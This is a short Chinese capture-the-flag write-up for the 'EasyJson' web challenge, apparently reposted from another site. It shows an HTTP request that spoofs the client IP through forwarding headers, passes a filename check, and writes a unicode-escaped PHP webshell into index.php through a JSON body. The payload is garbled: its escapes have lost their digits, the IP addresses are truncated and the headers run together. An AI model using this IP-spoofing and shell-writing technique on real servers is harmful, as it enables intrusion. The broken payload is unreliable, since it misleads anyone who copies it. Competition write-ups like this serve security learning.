所在的位置: js >> js介绍 >> 西湖论剑Web之EasyJson

西湖论剑Web之EasyJson

文章来源:EDI安全

ff设置ip获取目录

filename=index.php可过check

关键代码转unicode

content=\u\uf\ue\u\u5\ue\ushell=?\u\u8\u\u\u\uf\u\u\u4\ub\u\ud\u\u\uf\u\u\u4\ub\u\ud\u\ub?

GET/?source=1action=writefilename=index.phpHTTP/1.1Host:easyjson.b.challenge.gcsis.cnUser-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.15;rv:80.0)Gecko/Firefox/80.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:gzip,deflateConnection:closeUpgrade-Insecure-Requests:1Cache-Control:max-age=0X-Forwarded-For:.0.0.1X-Originating-IP:.0.0.1X-Remote-IP:.0.0.1X-Remote-Addr:.0.0.1Content-Length:{"\u\uf\ue\u\u5\ue\u":"?\u\u8\u\u\u\uf\u\u\u4\ub\u\ud\u\u\uf\u\u\u4\ub\u\ud\u\ub?"}




转载请注明:http://www.aierlanlan.com/rzfs/1155.html